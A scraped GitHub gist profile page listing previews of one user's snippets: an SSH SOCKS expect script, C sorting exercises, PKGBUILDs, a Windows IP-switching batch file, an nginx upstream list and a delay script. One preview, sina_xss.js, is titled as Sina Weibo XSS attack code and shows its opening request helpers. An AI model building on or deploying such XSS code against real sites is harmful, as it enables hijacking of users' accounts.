Skip to content

Instantly share code, notes, and snippets.

View ninehills's full-sized avatar

Tao Yang ninehills

View GitHub Profile
#!/usr/bin/expect
# require expect openssh
# modify PORT USER HOST PASS
set timeout 60
spawn /usr/bin/ssh -D PORT -g USER@HOST
expect {
"password:" {
send "PASS\r"
}
@ninehills
ninehills / sort.c
Created September 29, 2011 08:26
选择、冒泡、快速排序
#include <stdio.h>
// swap 函数
void swap(int *a, int *b) {
int tmp = *a;
*a = *b;
*b = tmp;
}
// 选择排序
@ninehills
ninehills / 2ZL.c
Created September 29, 2011 07:17
二主楼找座问题
// see : http://acm.nankai.edu.cn/p1010.html
#include <stdio.h>
#define MAX_SEAT 51
// 计算n个座的情况下第x号座和过道的距离。(x: 0~ n-1)
int distance(int x, int n) {
if(x < n/2)
return x;
else
@ninehills
ninehills / gist:1248428
Created September 28, 2011 16:39
PKGBUILD for sublime-text-2
# Maintainer: Bartosz Chmura <chmurli at gmail dot com>
pkgname=sublime-text-2
pkgver=2126
_build=2126
pkgrel=1
pkgdesc="sophisticated text editor for code, html and prose"
arch=('i686' 'x86_64')
url="http://www.sublimetext.com/2"
license=('custom')
@ninehills
ninehills / monkey_div_peach.c
Created September 24, 2011 07:10
猴子分桃
#include <stdio.h>
/*
* 海滩上有一堆桃子,五只猴子来分,第一只猴子把这堆桃子平均分为五份,多了一个,
* 这只猴子把多的一个扔到了海里,拿走了一份,第二只猴子把剩下的桃子又平均分成
* 五份,又多了一个,它同样把多的一个扔到了海里,拿走了一份,第三只,第四只,第
* 五只都是这样做的,问海滩上原来最少有多少桃子。使用递归编程求解。
*/
#define MONKEY 5
// 由当前猴子数和最终剩下的桃数求出总桃数
@ninehills
ninehills / sina_xss.js
Created June 29, 2011 03:58
新浪微博XSS攻击代码
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
@ninehills
ninehills / setip.bat
Created May 24, 2011 12:05
Windows IP 快速切换脚本
@echo off&color 1E&title IP地址快速切换器
echo ┌────────────────────────────┐
echo | |
echo | 切换网络环境,请输入当前所在位置 │
echo | |
echo └────────────────────────────┘
:choice
set choice=
set /p choice=【实验室无线】请选择1,【实验室有线】请选择2,【宿舍无线】请选择3,【宿舍有线】请选择4:[1,2,3,4]?
@ninehills
ninehills / PKGBUILD
Created April 15, 2011 15:05
libqq-svn 161 PKGBUILD
pkgname=libqq-svn
pkgver=161
pkgrel=1
arch=('i686' 'x86_64')
url="http://code.google.com/p/libqq-pidgin/"
pkgdesc="Latest QQ 2010 protocol for pidgin"
license=('GPLv3')
depends=()
makedepends=('libpurple')
conflicts=('libqq-pidgin')
upstream ghs {
ip_hash;
server ghs.google.com;
server 72.14.203.121;
server 72.14.207.121;
server 74.125.43.121;
server 74.125.47.121;
server 74.125.53.121;
server 74.125.77.121;
server 74.125.93.121;
@ninehills
ninehills / delay
Created March 9, 2011 10:32
Linux下用来延时执行命令的小脚本
#!/bin/bash
# 参数1:延迟的时间,单位s
# 参数2:需要执行的命令
# example:
# delay 10 "conky -d"
sleep $1
exec $2